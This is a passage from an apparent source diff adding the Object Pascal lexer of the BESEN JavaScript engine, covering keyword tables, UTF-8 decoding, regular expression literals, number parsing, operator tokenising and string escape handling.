ltkCLASS,ltkCONST,ltkENUM,ltkEXPORT,ltkEXTENDS, + ltkIMPORT,ltkSUPER, + + // Additional reserved keywords in strict mode + ltkIMPLEMENTS,ltkINTERFACE,ltkLET,ltkPACKAGE, + ltkPRIVATE,ltkPROTECTED,ltkPUBLIC,ltkSTATIC, + ltkYIELD + ); + + TBESENLexerTokenTypeSet=set of TBESENLexerTokenType; + + TBESENLexerToken=record + TokenType:TBESENLexerTokenType; + Name:TBESENString; + StringValue:TBESENString; + IntValue:int64; + FloatValue:double; + LineNumber:integer; + LineEnd:longbool; + WasLineEnd:longbool; + OldChar:TBESENUTF32CHAR; + OldLineNumber:integer; + OldPosition:integer; + OldCharEOF:longbool; + OldTokenEOF:longbool; + end; + + TBESENLexer=class(TBESENBaseObject) + public + Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif}; + Position:integer; + LineNumber:integer; + CurrentChar:TBESENUTF32CHAR; + WarningProc:TBESENWarningProc; + CharEOF:longbool; + TokenEOF:longbool; + LastWasLineEnd:longbool; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure NextChar; + procedure Restore(var Token:TBESENLexerToken); + function ParseRegExpLiteral(var Token:TBESENLexerToken;var ASource,AFlags:TBESENString):boolean; + function IsEOF:boolean; + procedure GetToken(var AResult:TBESENLexerToken); + end; + +const BESENLexerReservedTokens:TBESENLexerTokenTypeSet=[ltkCLASS,ltkCONST,ltkENUM,ltkEXPORT,ltkEXTENDS,ltkIMPORT,ltkSUPER]; + + BESENLexerStrictReservedTokens:TBESENLexerTokenTypeSet=[ltkIMPLEMENTS,ltkINTERFACE,ltkLET,ltkPACKAGE,ltkPRIVATE, + ltkPROTECTED,ltkPUBLIC,ltkSTATIC,ltkYIELD]; + + BESENLexerKeywordsTokens:TBESENLexerTokenTypeSet=[ltkBREAK..ltkYIELD]; + + BESENTokenStrings:array[TBESENLexerTokenType] of TBESENString=('','','EOF', + + // Types + 'IDENTIFIER','STRING','INTEGER','FLOAT', + + // Operators + '==','&','&=', + '~','|','|=', + '^','^=','}', + ')',']',':',',', + '?','/','/=','.', + '==','===','>', + '>=','<','<=', + '&&','!','||','-', + '-=','--','%', + '%=','*', + '*=','!=','!==', + '{','(','[','+', + '+=','++',';', + '<<','<<=','>>', + '>>=','>>>','>>>=', + + // Used keywords + 'break','case','catch','continue','debugger', + 'default','delete','do','else','false', + 'finally','for','function','if','in', + 'instanceof','new','null','return','switch', + 'this','throw','true','try','typeof','var', + 'void','while','with', + + // Reserved keywords + 'class','const','enum','export','extends', + 'import','super', + + // Additional reserved keywords in strict mode + 'implements','interface','let','package', + 'private','protected','public','static', + 'yield'); + +implementation + +uses {$ifdef BESENEmbarcaderoNextGen}System.Character,{$endif}BESEN,BESENRegExp,BESENErrors,BESENNumberUtils; + +type TKeywordToken=ltkBREAK..ltkYIELD; + + TKeyword=TKeywordToken; + + TKeywords=array of TKeyword; + +const KeywordNames:array[TKeywordToken] of TBESENUTF16STRING= + (// Used keywords + 'break','case','catch','continue','debugger', + 'default','delete','do','else','false', + 'finally','for','function','if','in', + 'instanceof','new','null','return','switch', + 'this','throw','true','try','typeof','var', + 'void','while','with', + + // Reserved keywords + 'class','const','enum','export','extends', + 'import','super', + + // Additional reserved keywords in strict mode + 'implements','interface','let','package', + 'private','protected','public','static', + 'yield'); + + Keywords:TKeywords=nil; + +constructor TBESENLexer.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Source:=''; + Position:=1; + LineNumber:=1; + WarningProc:=nil; + CharEOF:=false; + TokenEOF:=false; + LastWasLineEnd:=false; +end; + +destructor TBESENLexer.Destroy; +begin + Source:=''; + inherited Destroy; +end; + +function TBESENLexer.IsEOF:boolean; +begin + result:=TokenEOF; +end; + +procedure TBESENLexer.NextChar; +{$ifdef BESENSingleStringType} +var Len:integer; +{$else} +var b:byte; +{$endif} +begin + if (Position>=1) and (Position<=length(Source)) then begin +{$ifdef BESENSingleStringType} +{$ifdef BESENEmbarcaderoNextGen} + CurrentChar:=Char.ConvertToUTF32(s,Position-1,Len); + inc(Position,Len); +{$else} + CurrentChar:=ord(Source[Position]); + inc(Position); + if (Position<=length(Source)) and ((SizeOf(Source[Position])=SizeOf(word)) and (((CurrentChar and $fc00)=$d800) and ((ord(Source[Position]) and $fc00)=$dc00))) then begin + // UTF16 + CurrentChar:=(((CurrentChar and $3ff) shl 10) or (ord(Source[Position]) and $3ff))+$10000; + inc(Position); + end; +{$endif} +{$else} + b:=byte(Source[Position]); + if (b and $80)=0 then begin + CurrentChar:=b; + inc(Position); + end else if ((Position+1)<=length(Source)) and ((b and $e0)=$c0) and ((byte(Source[Position+1]) and $c0)=$80) then begin + CurrentChar:=((byte(Source[Position]) and $1f) shl 6) or (byte(Source[Position+1]) and $3f); + inc(Position,2); + end else if ((Position+2)<=length(Source)) and ((b and $f0)=$e0) and ((byte(Source[Position+1]) and $c0)=$80) and ((byte(Source[Position+2]) and $c0)=$80) then begin + CurrentChar:=((byte(Source[Position]) and $0f) shl 12) or ((byte(Source[Position+1]) and $3f) shl 6) or (byte(Source[Position+2]) and $3f); + inc(Position,3); + end else if ((Position+3)<=length(Source)) and ((b and $f8)=$f0) and ((byte(Source[Position+1]) and $c0)=$80) and ((byte(Source[Position+2]) and $c0)=$80) and ((byte(Source[Position+3]) and $c0)=$80) then begin + CurrentChar:=((byte(Source[Position]) and $07) shl 18) or ((byte(Source[Position+1]) and $3f) shl 12) or ((byte(Source[Position+2]) and $3f) shl 6) or (byte(Source[Position+3]) and $3f); + inc(Position,4); + end else if {$ifdef strictutf8}((TBESEN(Instance).Compatibility and COMPAT_UTF8_UNSAFE)<>0) and{$endif} ((Position+4)<=length(Source)) and ((b and $fc)=$f8) and ((byte(Source[Position+1]) and $c0)=$80) and ((byte(Source[Position+2]) and $c0)=$80) and ((byte(Source[Position+3]) and $c0)=$80) and ((byte(Source[Position+4]) and $c0)=$80) then begin + CurrentChar:=((byte(Source[Position]) and $03) shl 24) or ((byte(Source[Position+1]) and $3f) shl 18) or ((byte(Source[Position+2]) and $3f) shl 12) or ((byte(Source[Position+3]) and $3f) shl 6) or (byte(Source[Position+4]) and $3f); + inc(Position,5); + end else if {$ifdef strictutf8}((TBESEN(Instance).Compatibility and COMPAT_UTF8_UNSAFE)<>0) and{$endif} ((Position+5)<=length(Source)) and ((b and $fe)=$fc) and ((byte(Source[Position+1]) and $c0)=$80) and ((byte(Source[Position+2]) and $c0)=$80) and ((byte(Source[Position+3]) and $c0)=$80) and ((byte(Source[Position+4]) and $c0)=$80) and ((byte(Source[Position+5]) and $c0)=$80) then begin + CurrentChar:=((byte(Source[Position]) and $01) shl 30) or ((byte(Source[Position+1]) and $3f) shl 24) or ((byte(Source[Position+2]) and $3f) shl 18) or ((byte(Source[Position+3]) and $3f) shl 12) or ((byte(Source[Position+4]) and $3f) shl 6) or (byte(Source[Position+5]) and $3f); + inc(Position,6); + end else begin + CurrentChar:=$fffd; + inc(Position); + end; +{$endif} + end else begin + CurrentChar:=0; + CharEOF:=true; + end; +end; + +procedure TBESENLexer.Restore(var Token:TBESENLexerToken); +begin + Position:=Token.OldPosition; + LineNumber:=Token.OldLineNumber; + CurrentChar:=Token.OldChar; + CharEOF:=Token.OldCharEOF; + TokenEOF:=Token.OldTokenEOF; +end; + +function TBESENLexer.ParseRegExpLiteral(var Token:TBESENLexerToken;var ASource,AFlags:TBESENString):boolean; +var InCharClass,fg,fi,fm:boolean; + RegExpFlags:TBESENRegExpFlags; +begin + result:=false; + ASource:=''; + AFlags:=''; + InCharClass:=false; + while not CharEOF do begin + NextChar; + case CurrentChar of + $00,$0a,$0d,$2028,$2029:begin + exit; + end; + ord('\'):begin + ASource:=ASource+BESENUTF32CHARToUTF16(CurrentChar); + NextChar; + end; + ord('['):begin + InCharClass:=true; + end; + ord(']'):begin + InCharClass:=false; + end; + ord('/'):begin + if not InCharClass then begin + break; + end; + end; + end; + ASource:=ASource+BESENUTF32CHARToUTF16(CurrentChar); + end; + if (not CharEOF) and (CurrentChar=ord('/')) then begin + NextChar; + end else begin + raise EBESENSyntaxError.Create('unterminated regex'); + end; + AFlags:=''; + fg:=false; + fi:=false; + fm:=false; + while not CharEOF do begin + case CurrentChar of + ord('g'):begin + if fg then begin + raise EBESENSyntaxError.Create('Too many global regular expression flags'); + end else begin + fg:=true; + AFlags:=AFlags+BESENUTF32CHARToUTF16(CurrentChar); + NextChar; + end; + end; + ord('i'):begin + if fi then begin + raise EBESENSyntaxError.Create('Too many ignorecase regular expression flags'); + end else begin + fi:=true; + AFlags:=AFlags+BESENUTF32CHARToUTF16(CurrentChar); + NextChar; + end; + end; + ord('m'):begin + if fm then begin + raise EBESENSyntaxError.Create('Too many multiline regular expression flags'); + end else begin + fm:=true; + AFlags:=AFlags+BESENUTF32CHARToUTF16(CurrentChar); + NextChar; + end; + end; + else begin + break; + end; + end; + end; + if BESENUnicodeIsLetter(CurrentChar) then begin + raise EBESENSyntaxError.Create('Unknown regular expression flag'); + end; + RegExpFlags:=[]; + if fg then begin + RegExpFlags:=RegExpFlags+[brefGLOBAL]; + end; + if fi then begin + RegExpFlags:=RegExpFlags+[brefIGNORECASE]; + end; + if fm then begin + RegExpFlags:=RegExpFlags+[brefMULTILINE]; + end; + try + TBESEN(Instance).RegExpCache.Get(ASource,RegExpFlags); + except + raise EBESENSyntaxError.Create('Invalid regular expression'); + end; + Token.StringValue:='/'+ASource+'/'+AFlags; + result:=true; +end; + +procedure TBESENLexer.GetToken(var AResult:TBESENLexerToken); +var c:TBESENUTF32CHAR; + v:longword; + procedure AddError(const Msg:TBESENSTRING); + begin + TBESEN(Instance).LineNumber:=LineNumber; + raise EBESENSyntaxError.CreateUTF16(Msg); + end; + procedure AddWarning(const Msg:TBESENSTRING); + begin + if assigned(WarningProc) then begin + WarningProc(LineNumber,Msg); + end; + end; + procedure ParseNumber(c:widechar;var Token:TBESENLexerToken); + var s:TBESENString; + HasDigits:boolean; + begin + Token.TokenType:=ltUNKNOWN; + + HasDigits:=false; + + s:=''; + + if c='.' then begin + if (not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) then begin + s:=s+'.'; + + while (not CharEOF) and (CurrentChar=ord('0')) do begin + s:=s+widechar(CurrentChar); + NextChar; + end; + + while (not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) do begin + s:=s+widechar(CurrentChar); + NextChar; + end; + + if (not CharEOF) and ((CurrentChar=ord('e')) or (CurrentChar=ord('E'))) then begin + s:=s+widechar(CurrentChar); + NextChar; + if (not CharEOF) and ((CurrentChar=ord('+')) or (CurrentChar=ord('-'))) then begin + s:=s+widechar(CurrentChar); + NextChar; + end; + while (not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) do begin + s:=s+widechar(CurrentChar); + NextChar; + end; + end; + + Token.TokenType:=lttFLOAT; + Token.FloatValue:=BESENStringToDouble('0'+s); + s:=''; + end; + exit; + end; + + if (not CharEOF) and (CurrentChar=ord('0')) then begin + NextChar; + case CurrentChar of + ord('x'),ord('X'):begin + NextChar; + s:='0x'; + while not CharEOF do begin + case CurrentChar of + ord('a')..ord('f'),ord('A')..ord('F'),ord('0')..ord('9'):begin + s:=s+widechar(word(CurrentChar)); + HasDigits:=true; + NextChar; + end; + else begin + break; + end; + end; + end; + if HasDigits then begin + Token.TokenType:=lttFLOAT; + Token.FloatValue:=BESENStringToDouble(s); + end; + s:=''; + exit; + end; + ord('0')..ord('7'):begin + if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and not TBESEN(Instance).IsStrict then begin + s:='0'; + while not CharEOF do begin + case CurrentChar of + ord('0')..ord('7'):begin + s:=s+widechar(word(CurrentChar)); + HasDigits:=true; + NextChar; + end; + else begin + break; + end; + end; + end; + if HasDigits then begin + Token.TokenType:=lttFLOAT; + Token.FloatValue:=BESENStringToDouble(s); + end; + s:=''; + exit; + end else begin + AddError('Bad number literal'); + end; + end; + ord('8')..ord('9'):begin + AddError('Bad number literal'); + end; + else begin + HasDigits:=true; + s:=s+widechar('0'); + end; + end; + end; + + if TBESEN(Instance).IsStrict and HasDigits and ((not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9')))) then begin + AddError('Bad number literal'); + end else begin + + while (not CharEOF) and (CurrentChar=ord('0')) do begin + s:=s+widechar(CurrentChar); + HasDigits:=true; + NextChar; + end; + + if TBESEN(Instance).IsStrict and HasDigits and ((not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9')))) then begin + AddError('Bad number literal'); + end else begin + + while (not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) do begin + s:=s+widechar(CurrentChar); + HasDigits:=true; + NextChar; + end; + + if (not CharEOF) and (CurrentChar=ord('.')) then begin + s:=s+widechar(CurrentChar); + NextChar; + + while (not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) do begin + s:=s+widechar(CurrentChar); + NextChar; + HasDigits:=true; + end; + end; + + if HasDigits then begin + + if (not CharEOF) and ((CurrentChar=ord('e')) or (CurrentChar=ord('E'))) then begin + HasDigits:=false; + s:=s+widechar(CurrentChar); + NextChar; + if (not CharEOF) and ((CurrentChar=ord('+')) or (CurrentChar=ord('-'))) then begin + s:=s+widechar(CurrentChar); + NextChar; + end; + if (not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) then begin + HasDigits:=true; + while (not CharEOF) and ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) do begin + s:=s+widechar(CurrentChar); + NextChar; + end; + end else begin + exit; + end; + end; + + if HasDigits then begin + Token.TokenType:=lttFLOAT; + Token.FloatValue:=BESENStringToDouble(s); + end; + end; + end; + end; + + s:=''; + end; + function FindKeyword(const Name:TBESENUTF16STRING):TBESENLexerTokenType; + var LowIndex,HighIndex,MiddleIndex:integer; + begin + result:=lttIDENTIFIER; + LowIndex:=0; + HighIndex:=length(Keywords)-1; + while LowIndex<=HighIndex do begin + case (HighIndex-LowIndex)+1 of + 1:begin + if KeywordNames[Keywords[LowIndex]]=Name then begin + result:=Keywords[LowIndex]; + end; + end; + 2:begin + if KeywordNames[Keywords[LowIndex]]=Name then begin + result:=Keywords[LowIndex]; + end else if KeywordNames[Keywords[HighIndex]]=Name then begin + result:=Keywords[HighIndex]; + end; + end; + else begin + MiddleIndex:=(LowIndex+HighIndex) div 2; + if KeywordNames[Keywords[MiddleIndex]]=Name then begin + result:=Keywords[MiddleIndex]; + end else if LowIndex<>HighIndex then begin + if KeywordNames[Keywords[MiddleIndex]]>Name then begin + HighIndex:=MiddleIndex-1; + end else begin + LowIndex:=MiddleIndex+1; + end; + continue; + end; + end; + end; + break; + end; + end; +begin + AResult.Name:=''; + AResult.StringValue:=''; + AResult.FloatValue:=0; + AResult.IntValue:=0; + AResult.LineNumber:=LineNumber; + AResult.LineEnd:=false; + AResult.WasLineEnd:=LastWasLineEnd; + AResult.OldChar:=CurrentChar; + AResult.OldLineNumber:=LineNumber; + AResult.OldPosition:=Position; + AResult.OldCharEOF:=CharEOF; + AResult.OldTokenEOF:=TokenEOF; + LastWasLineEnd:=false; + AResult.TokenType:=ltUNKNOWN; + while true do begin + if CharEOF then begin + TokenEOF:=true; + AResult.TokenType:=ltEOF; + break; + end else begin + while BESENUnicodeIsParserWhiteSpace(CurrentChar) do begin + case CurrentChar of + 0:begin + NextChar; + if not CharEOF then begin + CurrentChar:=1; + end; + end; + $000d:begin + NextChar; + if CurrentChar=$000a then begin + NextChar; + end; + inc(LineNumber); + AResult.WasLineEnd:=true; + end; + $000a,$2028,$2029:begin + NextChar; + inc(LineNumber); + AResult.WasLineEnd:=true; + end; + else begin + NextChar; + end; + end; + end; + if CharEOF then begin + AResult.TokenType:=ltEOF; + TokenEOF:=true; + break; + end else begin + AResult.LineNumber:=LineNumber; + AResult.OldChar:=CurrentChar; + AResult.OldLineNumber:=LineNumber; + AResult.OldPosition:=Position; + AResult.OldCharEOF:=CharEOF; + AResult.OldTokenEOF:=TokenEOF; + case CurrentChar of + 0:begin + end; + ord('='):begin + NextChar; + case CurrentChar of + ord('='):begin + NextChar; + case CurrentChar of + ord('='):begin + NextChar; + AResult.TokenType:=ltoEQUALEQUALEQUAL; + end; + else begin + AResult.TokenType:=ltoEQUALEQUAL; + end; + end; + end; + else begin + AResult.TokenType:=ltoASSIGNMENT; + end; + end; + end; + ord('&'):begin + NextChar; + case CurrentChar of + ord('&'):begin + NextChar; + AResult.TokenType:=ltoLOGICALAND; + end; + ord('='):begin + NextChar; + AResult.TokenType:=ltoBITWISEANDASSIGNMENT; + end; + else begin + AResult.TokenType:=ltoBITWISEAND; + end; + end; + end; + ord('|'):begin + NextChar; + case CurrentChar of + ord('|'):begin + NextChar; + AResult.TokenType:=ltoLOGICALOR; + end; + ord('='):begin + NextChar; + AResult.TokenType:=ltoBITWISEORASSIGNMENT; + end; + else begin + AResult.TokenType:=ltoBITWISEOR; + end; + end; + end; + ord('^'):begin + NextChar; + case CurrentChar of + ord('='):begin + NextChar; + AResult.TokenType:=ltoBITWISEXORASSIGNMENT; + end; + else begin + AResult.TokenType:=ltoBITWISEXOR; + end; + end; + end; + ord('/'):begin + NextChar; + case CurrentChar of + ord('/'):begin + while ((CurrentChar<>0) and not BESENUnicodeIsLineTerminator(CurrentChar)) and not CharEOF do begin + NextChar; + end; + if BESENUnicodeIsLineTerminator(CurrentChar) then begin + inc(LineNumber); + AResult.WasLineEnd:=true; + if CurrentChar=$000d then begin + NextChar; + if CurrentChar=$000a then begin + NextChar; + end; + end else begin + NextChar; + end; + end; + continue; + end; + ord('*'):begin + NextChar; + c:=0; + while (not ((c=ord('*')) and (CurrentChar=ord('/')))) and not CharEOF do begin + if BESENUnicodeIsLineTerminator(CurrentChar) then begin + inc(LineNumber); + AResult.WasLineEnd:=true; + if CurrentChar=$000d then begin + c:=CurrentChar; + NextChar; + if CurrentChar=$000a then begin + c:=CurrentChar; + NextChar; + end; + end else begin + c:=CurrentChar; + NextChar; + end; + end else begin + c:=CurrentChar; + NextChar; + end; + end; + if CurrentChar=ord('/') then begin + NextChar; + end; + continue; + end; + ord('='):begin + NextChar; + AResult.TokenType:=ltoDIVIDEASSIGNMENT; + end; + else begin + AResult.TokenType:=ltoDIVIDE; + end; + end; + end; + ord('>'):begin + NextChar; + case CurrentChar of + ord('>'):begin + NextChar; + case CurrentChar of + ord('>'):begin + NextChar; + case CurrentChar of + ord('='):begin + NextChar; + AResult.TokenType:=ltoSHIFTRIGHTUNSIGNEDASSIGNMENT; + end; + else begin + AResult.TokenType:=ltoSHIFTRIGHTUNSIGNED; + end; + end; + end; + ord('='):begin + NextChar; + AResult.TokenType:=ltoSHIFTRIGHTASSIGNMENT; + end; + else begin + AResult.TokenType:=ltoSHIFTRIGHT; + end; + end; + end; + ord('='):begin + NextChar; + AResult.TokenType:=ltoGREATERTHANOREQUAL; + end; + else begin + AResult.TokenType:=ltoGREATERTHAN; + end; + end; + end; + ord('<'):begin + NextChar; + case CurrentChar of + ord('<'):begin + NextChar; + case CurrentChar of + ord('='):begin + NextChar; + AResult.TokenType:=ltoSHIFTLEFTASSIGNMENT; + end; + else begin + AResult.TokenType:=ltoSHIFTLEFT; + end; + end; + end; + ord('='):begin + NextChar; + AResult.TokenType:=ltoLESSTHANOREQUAL; + end; + ord('!'):begin + if (TBESEN(Instance).Compatibility and COMPAT_SGMLCOM)<>0 then begin + if ((Position+2)<=length(Source)) and (Source[Position]='-') and (Source[Position+1]='-') then begin + while ((CurrentChar<>0) and not BESENUnicodeIsLineTerminator(CurrentChar)) and not CharEOF do begin + NextChar; + end; + if BESENUnicodeIsLineTerminator(CurrentChar) then begin + inc(LineNumber); + AResult.WasLineEnd:=true; + if CurrentChar=$000d then begin + NextChar; + if CurrentChar=$000a then begin + NextChar; + end; + end else begin + NextChar; + end; + continue; + end; + end else begin + AResult.TokenType:=ltoLESSTHAN; + end; + end else begin + AResult.TokenType:=ltoLESSTHAN; + end; + end; + else begin + AResult.TokenType:=ltoLESSTHAN; + end; + end; + end; + ord('-'):begin + NextChar; + case CurrentChar of + ord('-'):begin + NextChar; + if (TBESEN(Instance).Compatibility and COMPAT_SGMLCOM)<>0 then begin + if (Position=length(Source)) and (Source[Position]='>') then begin + while ((CurrentChar<>0) and not BESENUnicodeIsLineTerminator(CurrentChar)) and not CharEOF do begin + NextChar; + end; + if BESENUnicodeIsLineTerminator(CurrentChar) then begin + inc(LineNumber); + AResult.WasLineEnd:=true; + if CurrentChar=$000d then begin + NextChar; + if CurrentChar=$000a then begin + NextChar; + end; + end else begin + NextChar; + end; + continue; + end; + end else begin + AResult.TokenType:=ltoMINUSMINUS; + end; + end else begin + AResult.TokenType:=ltoMINUSMINUS; + end; + end; + ord('='):begin + NextChar; + AResult.TokenType:=ltoMINUSASSIGNMENT; + end; + else begin + AResult.TokenType:=ltoMINUS; + end; + end; + end; + ord('+'):begin + NextChar; + case CurrentChar of + ord('+'):begin + NextChar; + AResult.TokenType:=ltoPLUSPLUS; + end; + ord('='):begin + NextChar; + AResult.TokenType:=ltoPLUSASSIGNMENT; + end; + else begin + AResult.TokenType:=ltoPLUS; + end; + end; + end; + ord('%'):begin + NextChar; + case CurrentChar of + ord('='):begin + NextChar; + AResult.TokenType:=ltoMODULOASSIGNMENT; + end; + else begin + AResult.TokenType:=ltoMODULO; + end; + end; + end; + ord('*'):begin + NextChar; + case CurrentChar of + ord('='):begin + NextChar; + AResult.TokenType:=ltoMULTIPLYASSIGNMENT; + end; + else begin + AResult.TokenType:=ltoMULTIPLY; + end; + end; + end; + ord('!'):begin + NextChar; + case CurrentChar of + ord('='):begin + NextChar; + case CurrentChar of + ord('='):begin + NextChar; + AResult.TokenType:=ltoNOTEQUALEQUAL; + end else begin + AResult.TokenType:=ltoNOTEQUAL; + end; + end; + end; + else begin + AResult.TokenType:=ltoLOGICALNOT; + end; + end; + end; + ord('~'):begin + NextChar; + AResult.TokenType:=ltoBITWISENOT; + end; + ord('}'):begin + NextChar; + AResult.TokenType:=ltoCLOSEBRACE; + end; + ord(')'):begin + NextChar; + AResult.TokenType:=ltoCLOSEPAREN; + end; + ord(']'):begin + NextChar; + AResult.TokenType:=ltoCLOSESQUARE; + end; + ord('{'):begin + NextChar; + AResult.TokenType:=ltoOPENBRACE; + end; + ord('('):begin + NextChar; + AResult.TokenType:=ltoOPENPAREN; + end; + ord('['):begin + NextChar; + AResult.TokenType:=ltoOPENSQUARE; + end; + ord(':'):begin + NextChar; + AResult.TokenType:=ltoCOLON; + end; + ord(';'):begin + NextChar; + AResult.TokenType:=ltoSEMICOLON; + end; + ord(','):begin + NextChar; + AResult.TokenType:=ltoCOMMA; + end; + ord('?'):begin + NextChar; + AResult.TokenType:=ltoCONDITIONAL; + end; + ord('.'):begin + NextChar; + case CurrentChar of + ord('0')..ord('9'):begin + ParseNumber('.',AResult); + end; + else begin + AResult.TokenType:=ltoDOT; + end; + end; + end; + ord('0')..ord('9'):begin + ParseNumber(#0,AResult); + end; + ord('"'),ord(''''):begin + AResult.TokenType:=lttSTRING; + c:=CurrentChar; + NextChar; + AResult.StringValue:=''; + while (CurrentChar<>c) and (Position<=length(Source)) do begin + case CurrentChar of + $000a,$000d,$2028,$2029:begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)=0 then begin + AddError('Unterminated string literal'); + break; + end else begin + NextChar; + end; + end; + $fffe,$feff:begin + AResult.StringValue:=AResult.StringValue+widechar(word(CurrentChar)); + NextChar; + end; + ord('\'):begin + NextChar; + case CurrentChar of + $000d:begin + AResult.StringValue:=AResult.StringValue+#$000d; + NextChar; + if CurrentChar=$000a then begin + AResult.StringValue:=AResult.StringValue+#$000a; + NextChar; + end; + inc(LineNumber); + AResult.WasLineEnd:=true; + end; + $000a,$2028,$2029:begin + AResult.StringValue:=AResult.StringValue+widechar(word(CurrentChar)); + inc(LineNumber); + AResult.WasLineEnd:=true; + break; + end; + ord('b'):begin + NextChar; + AResult.StringValue:=AResult.StringValue+#$0008; + end; + ord('t'):begin + NextChar; + AResult.StringValue:=AResult.StringValue+#$0009; + end; + ord('n'):begin + NextChar; + AResult.StringValue:=AResult.StringValue+#$000a; + end; + ord('v'):begin + NextChar; + AResult.StringValue:=AResult.StringValue+#$000b; + end; + ord('f'):begin + NextChar; + AResult.StringValue:=AResult.StringValue+#$000c; + end; + ord('r'):begin + NextChar; + AResult.StringValue:=AResult.StringValue+#$000d; + end; + ord('s'):begin + NextChar; + AResult.StringValue:=AResult.StringValue+#$fffe; + end; + ord('0')..ord('7'):begin + if TBESEN(Instance).IsStrict then begin + AResult.StringValue:=AResult.StringValue+widechar(word(CurrentChar)); + NextChar; + if (CurrentChar>=ord('0')) and (CurrentChar<=ord('7')) then begin + raise EBESENSyntaxError.Create('Octals aren''t allowed in strict mode'); + end; + end else begin + v:=CurrentChar-ord('0'); + NextChar; + if (CurrentChar>=ord('0')) and (CurrentChar<=ord('7')) then begin + v:=(v shl 3) or longword(CurrentChar-ord('0')); + NextChar; + if (CurrentChar>=ord('0')) and (CurrentChar<=ord('7')) then begin + v:=(v shl 3) or longword(CurrentChar-ord('0')); + NextChar; + end; + end; + AResult.StringValue:=AResult.StringValue+widechar(word(v)); + end; + end; + ord('x'):begin + if ((Position+1)<=length(Source)) and BESENIsHex(word(widechar(Source[Position]))) and BESENIsHex(word(widechar(Source[Position+1]))) then begin + NextChar; + v:=0; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + end; + end; + AResult.StringValue:=AResult.StringValue+widechar(word(v)); + end else begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)=0 then begin + AddError('Invalid escape char x'); + end else begin + NextChar; + AResult.StringValue:=AResult.StringValue+'x'; + end; + end; + end; + ord('u'):begin + if ((Position+3)<=length(Source)) and BESENIsHex(word(widechar(Source[Position]))) and BESENIsHex(word(widechar(Source[Position+1]))) and BESENIsHex(word(widechar(Source[Position+2]))) and BESENIsHex(word(widechar(Source[Position+3]))) then begin + NextChar; + v:=0; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + if ((CurrentChar>=ord('0')) and (CurrentChar<=ord('9'))) or ((CurrentChar>=ord('a')) and (CurrentChar<=ord('f'))) or ((CurrentChar>=ord('A')) and (CurrentChar<=ord('F'))) then begin + case CurrentChar of + ord('0')..ord('9'):begin + v:=(v shl 4) or longword(CurrentChar-ord('0')); + end; + ord('a')..ord('f'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('a'))+$a); + end; + ord('A')..ord('F'):begin + v:=(v shl 4) or (longword(CurrentChar-ord('A'))+$a); + end; + end; + NextChar; + end; + end; + end; + end; + AResult.StringValue:=AResult.StringValue+widechar(word(v)); + end else begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)=0 then begin + AddError('Invalid escape char u'); + end else begin + NextChar; + AResult.StringValue:=AResult.StringValue+'u'; + end; + end; + end; + else begin + AResult.StringValue:=AResult.StringValue+BESENUTF32CHARToUTF16(CurrentChar); + NextChar; + end; + end; + end; 